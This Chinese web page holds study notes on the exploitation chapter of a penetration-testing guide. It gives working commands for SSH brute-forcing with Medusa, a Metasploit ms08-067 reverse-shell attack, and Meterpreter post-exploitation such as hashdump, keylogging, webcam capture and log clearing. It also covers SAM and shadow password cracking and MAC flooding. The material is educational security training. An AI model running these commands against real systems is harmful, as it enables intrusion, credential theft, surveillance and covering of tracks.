渗透测试实践指南必知必会的工具与方法(第四章、漏洞利用)
时间:2016-08-03 14:49:32
小编:动力软件园
阅读:
1.在线密码破解器
(指与SSH或者Telnet 等“活跃服务”交互的一种攻击技术)
①Medusa
命令格式:
medusa -h target_ip -u username -Ppassword_dictionary -M target_service
命令实例:
medusa -h 192.168.18.132 -u user01 -P/usr/share/john/password.lst -M ssh
< -h >:指定目标主机的IP地址
< -u >:指定一个用户名
(如果使用的是一个用户名列表,使用“< -U > username_file”)
< -p >:指定一个密码
< -P >:指定包含多个密码的列表,后面紧跟某个字典文件的路径
< -M >:指定我们想要攻击的服务(包括AFP,FTP,HTTP,IMAP,MS-SQL,MySQL,NetWareNCP,NNTP,PcAnywhere,POP3,SNMP,SSHv2,Telnet,VNC,Web Form等)
(注:Kali 的 “/usr/share/wordlists”目录下有一些现成可用的密码字典,其中包括最 为恶名昭彰的密码列表—RockYou)
②Hydra
2.Metasploit
①如果有机会遇到H.D.Moore或者原来Metasploi团队中的任何一名成员,记得给他买杯啤酒,跟他握手,说声谢谢:D
②Msfconsole
A)升级命令:msfupdate
B)一般攻击步骤:
Ⅰ)确定攻击目标
从Nessus的报告或者“Nmap --script vuln”的输出开始
Ⅱ)选择漏洞攻击程序
漏洞攻击程序:预先打包、将被发送到远程系统的代码集,这些代码将在目标系统中引发某些不正常的行为,以使我们能够执行攻击载荷
Ⅲ)指定攻击载荷
攻击载荷(payload):成功执行漏洞攻击之后被安装在目标系统中的附加软件或功能。
C)攻击实例:
searchms08-067(搜索编号为“ms08-067”的漏洞)
-------------------------------------------------------------
搜索结果显示匹配到的漏洞攻击程序,与该攻击程序的Rank
例如:“exploit/windows/smb/ms08-067_netapi great”,漏洞攻击程序
共有七个等级1.手动(Manual)2.Low3.Average 4.Normal 5.Good6.Great 7.Excellent
---------------------------------------------------------------
useexploit/windows/smb/ms08-067_netapi(使用该漏洞攻击程序)
showpayloads(查看可用的payload)
setpayload windows/vncinject/reverse_tcp(设置payload)
showoptions(查看payload所有可用的选项)
setRHOST 192.168.18.132(RHOST指远程主机(被攻击者))
setLHOST 192.168.18.73(LHOST指本地主机(发起攻击者))
exploit
(VNC载荷要求目标操作系统是基于GUI的操作系统)
3.目标windows的常用payload样例
payload名称 功能描述
Windows/adduser 在目标计算机上的本地管理员组创建新用户
Windows/exec 在目标计算机上执行Windows二进制文件(.exe)
Windows/shell_bind_tcp
在目标计算机上启动一个命令行shell并等待连接
Windows/shell_reverse_tcp
目标计算机连回攻击者并在目标计算机上启动一个命令行shell
Windows/meterpreter/bind_tcp
Windows/meterpreter/reverse_tcp
Windows/vncinject/bind_tcp
Windows/vncinject/reverse_tcp
(注:“bind”正向连接,“reverse”反向连接
4.Meterpreter
又叫Meta-Interpreter,是Metasploit中一个可用的payload,是一个强大的命令行shell。尽可能花时间深入研究这个工具,成为Meterpreter大师。
①Meterpreter完全在内存中运行,不使用硬盘空间,从而提高了它的隐蔽性
②Meterpreter运行的权限与被攻击的程序是相关联的
③之所以用Meterpreter而不用传统的cmd和Linux下的shell,原因有
A)在目标计算机上运行cmd和Linux的shell都会启动新的进程
B)相比于cmd.exe和bin/sh,Meterpreter具有更强大的功能
④基本命令介绍
a)help:显示 Meterpreter 帮助菜单
b)background:将当前的 Meterpreter 会话转移到后台运行并且回到msf提示符,若要返回到 Meterpreter 会话,只是再一次与它交互。
(例如返回第一个Meterpreter回话,使用“session -i 1”)
c)cat:显示文件的内容到屏幕上
d)clearev:清除windows系统上应用程序、 系统和安全日志
e)download:从远程计算机上下载文件
(提供 Windows 路径时,请注意使用双正斜杠,例如:“download c:boot.ini”)
f)upload:上传文件到远程计算机上
(例如:upload evil_trojan.exe c:windowssystem32)
g)edit:用vim打开目标主机上的文件
h)execute:运行/执行目标上的指定文件
(例如:“execute -f cmd.exe -i -H”在目标计算机上打开了cmd.exe)
i)getuid:显示运行 Meterpreter 服务的目标计算机上的用户
j)hashdump:转储 SAM 数据库的内容,即提取用户的密码散列
(密码散列:指明文密码的加密和打乱之后的版本)
k)idletime:显示远程计算机上的用户已处于空闲状态的秒数
l)pwd & cd:显示和更改远程计算机工作的目录
m)lpwd & lcd:显示和更改本地计算机工作的目录
n)ls:列出当前的远程计算机目录中的文件
o)migrate:将服务迁移到另一个进程中(svchost.exe是个不错的选择)
p)ps:显示在目标系统上正在运行的进程列表
q)search -f:定位目标主机上的特定文件
r)shell:返回一个在目标系统上的标准 shell
s)webcam_list:将在目标主机上显示当前可用的网络摄像头
t)webcam_snap:抓取一张来自目标系统上的连接的网络摄像头的图片,并将其作为 JPEG 图像保存
u)getsystem:命令Meterpreter尝试将权限提升到最高级
v)keyscan_start:开始记录目标机器上的击键
(注意:为了捕捉击键,你必须迁移到explorer.ext进程中)
keyscan_stop:停止记录用户击键
keyscan_dump:显示当前从目标计算机上捕捉的击键
(注意:必须先运行keyscan_start)
w)kill pid_number:停止(杀死)指定进程,PID可以用ps命令找到
x)screenshot:提供来自目标机器的屏幕截图
y)sysinfo:提供目标机器的相关系统信息,包括计算机名、操作系统、服务包级别等
z)mkdir、shutdown、reboot、ifconfig、rmdir、rm(英文字母用完了-_-|||)
5.John the Ripper(JtR)
(能利用密码字典进行密码破解,或者直接利用字符组合进行暴力破解)
①通过基准程序衡量电脑性能,基准衡量的单位是每秒的破解次数(c/s)
cd/usr/share/john
john--test
②密码破解可以作为“本地攻击”或者“远程攻击”
6.本地密码破解
①Windows系统将密码散列保存在一个叫做SAM(安全账户管理器)的文件里,该文件保存在“C:WindowsSystem32Config”目录下。
②操作系统启动后,SAM文件将同时被锁定。绕过这一保护措施的方法是启动另一个操作系统(比如Kali)
③进入Kali后的操作步骤
a)挂载本地硬盘
mkdir /mnt/sda1_file
mount /dev/sda1 /mnt/sda1_file
设备 挂载点(mount point)
(如果不确定应该挂载哪个驱动器,使用“fdisk -l”命令,将目标系统中可用的驱动器全部列出来)
b)cd/mnt/sda1_file/Windows/system32/config
c)ls
d)samdump2 system SAM > /tmp/hashes.txt
使用了名为“Samdump2”的程序,
(该程序利用本地计算机上一个叫做“system”的文件对SAM文件进行解密,幸运的是,这个“system”文件正好就跟SAM文件在同一个目录里)
该程序将解密后的结果保存到了Kali的/tmp/hashes.txt文件中
注:某些Windows系统d)步骤前需要额外的一步,为了完全暴露密码散列,需要利用“Bkhive”提取系统密匙
bkhive system sys_key.txt
samdump2 SAM sys_key.txt >/tmp/hash.txt
④原先微软使用的散列加密算法叫做Lan Manager(LM)
A)利用LM算法生成散列时,整个密码字符都将更改为大写
B)LM算法生成的密码都是14个字符,少于14个字符将会用null填满,大于14个字符将会被截断
⑤现在微软使用NTLM算法生成密码散列
⑥运行实例:
john/tmp/hashes.txt --format=nt
(“hashes.txt”是我们在前面提取的密码散列,
<--format= >:指定了密码类型,对于NTML算法,则是“--format=nt”)
7.远程密码破解
Meterpreter → hashdump → JtR
8.Linux系统的密码破解和权限提升
①Linux系统将加密的密码散列包含在“shadow”文件里,该文件完整路径是“/etc/shadow”
②只有特权用户才能访问“shadow”文件,解决方案是:
Linux还使用一个经过编辑的密码列表 “/etc/passwd”,这个列表一般可以被所有用户读取
利用JtR合并“/etc/shadow”和“/etc/passwd”,这一过程输出的是一个包含原始散列的列表,这个新列表可以输入John
③实例:
unshadow /etc/passwd /etc/shadow >/tmp/linux_hashes.txt
john /tmp/linux_hashes.txt
④少年呐!你应该花谢时间好好学习运行JtR每个参数的用法
9.密码重置
chntpw -i /mnt/sda1_file/Windows/system32/config/SAM
reboot(重置好密码后,重启目标机器)
< -i >:表示以交互模式运行
10.网络嗅探
截获并查看进出某一网络流量的过程
①网络模式:
A)非混杂模式:大部分网卡都运行在该模式下,这就意味着NIC(Network Interface Card)只会传递指向本机地址的特定网络流量
B)混杂模式:强制网卡接收流入的所有数据包
②为了能顺利嗅探到目的地址最初并非指向你的计算机的流量,首先必须确保你的网 卡已运行在混杂模式下
③收到非指向本机的流量的原因:
a)广播流量
b)网络使用集线器(hub)发送数据包而不是交换机(switch)
(hub将其收到的任何数据不做任何处理直接发送给所有连接到它的物理端口的设备)
11.Macof
①交换机针对不同地址分别使用不同的路由信息这一设计,原本是用来提高性能的,而不是提高安全性
②通过耗尽交换机用于保存MAC地址和对应端口号的匹配表的内存,并用大量伪造的MAC地址对该匹配表进行泛洪攻击,就可以使交换机无法读取或者访问这个匹配表。此时根据交换机的配置不同,交换机会变成“失效开放”或者“失效关闭”模式。
A)“失效开放”(fail open)
交换机简单地把流量广播到所有端口
B)“失效关闭”(fail closed)
交换机简单地停止数据传送(相当于发生了一次Dos攻击)
③Dsniff
A)一款用于网络审计和渗透测试的工具集,建议花时间好好研究其中每 一个工具!
B)Dsniff中有一个工具叫Macof
Macof:生成几千个随机MAC地址,对交换机进行泛洪
运行实例:
macof-i eth0 -s 192.168.18.130 -d 192.168.18.2
<-i >:指定计算机的NIC
<-s >:指定本地计算机地址
<-d >:指定目标攻击对象
(注:使用Macof会产生大量的网络流量,容易被发现)
12.Wireshark
需要花时间好好学习!
13.Armitage
在Metasploit上运行、GUI驱动的前端程序
①使用实例:
apt-getinstall armitage (假如没安装,先安装)
servicepostgresql start( 启动PostgreSQL服务)
(如果看到“Try setting MSF_DATABASE_CONFIG to a file that exists”的错误,则必须运行如下命令,然后启动Armitage
service metasploit start)
②HailMary(最后一击)
③使用步骤:
Hosts→ Quick Scan(OS detect)
Attacks→ Find Attacks → Hail Mary
14.如何实践
①Metasploit培训教程“Metasploit Unleashed”
②使用De-ICE系列Linux引导光盘
15.接下来该做什么
①Hydra:暴力破解密码工具
(特别注意一下定时(timing)选项)
②RainbowCrack:利用彩虹表对密码进行破解
(彩虹表:预先计算好的密码散列列表)
③Tcpdump:命令行工具,捕捉和查看网络流量的尚佳选择
④Ettercap:开展中间人攻击(man-in-the-middle attack)的绝佳武器
⑤学着如何读取、写入并创建你自己的漏洞攻击程序,学习漏洞利用技术可以从学习缓冲区溢出(buffer overflow)开始
⑥如果从Metasploit中找不到匹配的漏洞利用程序,尝试搜索“Exploit-DB”
https://www.exploit-db.com/(漏洞利用和概念验证代码的公开知识库)
⑦许多漏洞攻击程序都是基于栈(stack)和堆(heap)缓冲区溢出
⑧建议精通脚本语言,Python和Ruby都是很好的选择
-
渗透测试实践指南必知必会的工具与方法(第八章、渗透测试总结)1.编写渗透测试报告 ①综合报告 ②对渗透测试执行情况的概述(帮助客户理解控制或者入侵系统的成功程度) ③详细报告 ④原始输出(假如需要的话)时间:2016-08-03
-
渗透测试实践指南必知必会的工具与方法(第七章、第七章、维持访问)1.使用Back door(后门)及Rootkit维持访问①Back door:运行在目标计算机上的隐藏进程,使得攻击者随时返回(或连接)到目标计算机上②Rootkit:一类特殊的软件,深嵌在操作系时间:2016-08-03
-
渗透测试实践指南必知必会的工具与方法(第六章、基于Web的漏洞利用)1.常见Web应用入侵框架: ①w3af(Web应用程序审计和攻击框架); ②Burp Suite; ③ZAP(OWASP的Zed攻击代理); ④Websecurify; ⑤Paros时间:2016-08-03
-
渗透测试实践指南必知必会的工具与方法(第五章、社会工程)1.社会工程工具包(Social-Engineer Toolkit)(SET)2.在Kali的文件夹结构中,/usr/bin/<工具名>中放置了二进制文件,真正的应用程序文件在/usr/share/<工具名>中3.SET安装在时间:2016-08-03
-
渗透测试实践指南必知必会的工具与方法(第三章、扫描)(建立IP地址与开放端口和服务的映射关系)1.扫描过程的通常步骤①用Ping数据包验证系统是否正在运行判断目标系统是否已经开启以及是否可以与我们的计算机进行通信(这一步时间:2016-08-03
-
渗透测试实践指南必知必会的工具与方法(第一章、什么是渗透测试)1.白盒渗透测试:不尝试隐身攻击,考虑全面性。2.黑盒渗透测试:模拟攻击者进行攻击。3.APT(AdvancedPackage Tool, 高级打包工具)① apt-get install② apt-update③ apt-c时间:2016-08-03
-
渗透测试实践指南必知必会的工具与方法(第二章、侦查)(建立搜集到的信息与受攻击者IP地址之间的关系)1.在收集目标相关信息上所花的时间越多,后续阶段工作的成功率就越高。2.以彻底地搜索目标的公共信息作为开始(OSNT,开源时间:2016-08-03
-
Jsky网站漏洞扫描工具使用教程(图文)工具描述 Jsky是一款国内知名的网站漏洞扫描工具,不仅能够深入的发现Web应用中存在的安全弱点,同时支持渗透测试功能,即能模拟黑客攻击来评估网站的安全。Jsky基于XML框时间:2014-05-08
-
主机系统类扫描工具功能对比分析Nmap:大多使用命令行模式进行扫描,在功能丰富强大的同时,也需要使用者掌握很多参数的用法,推荐指数为4星。 Nessus:图形化的全英文操作界面,虽然扫描功能强大,但结时间:2014-05-07
-
X-scan教程 图形界面和命令行方式教程(图文)X-scan用法:图形界面和命令行方式。使用GUI方式进行扫描时,勾选下列选项/参数即可。 X-scan说明: /dat/language.ini -- 多语言配置文件,可通过设置“LANGUAGES时间:2014-05-07
-
Nessus工具使用技巧及图解教程(图文)一、使用方法用法:主界面上面有4个按钮,分别是:Reports(报表)、Scans(扫描)、Policies(策略)、User(用户).1. 设置用户:在Add User功能菜单我们能进行用户的管理时间:2014-05-07
-
Rootkit检测类工具功能对比分析Rootkit Unhooker:一款windows系统rootkit检测工具,图形化界面操作,推荐指数为4星; Rootkit Detector:一款windows系统rootkit检测工具,图形化一键检测,使用方便,时间:2014-05-06
-
梧桐雨工具箱使用场景和功能介绍在使用Chrome的基础上,能进行一些渗透测试,以及跨站测试,虽然工具网上都有,但是每次用到的时候都需要访问特定的url,或者打开某个软件,让我觉得步骤颇多。因此,我就开时间:2014-04-12
热门阅读
-
Nessus工具使用技巧及图解教程(图文)
阅读:4410
-
WebScarab使用教程(图文)
阅读:2204
-
工行个人网上银行无法显示此页解决办法(一招搞定)
阅读:835
-
Httprint工具使用方法 自动化的http指纹分析工具
阅读:1974
-
DirBuster使用教程帮助 DirBuster图形界面的操作
阅读:1598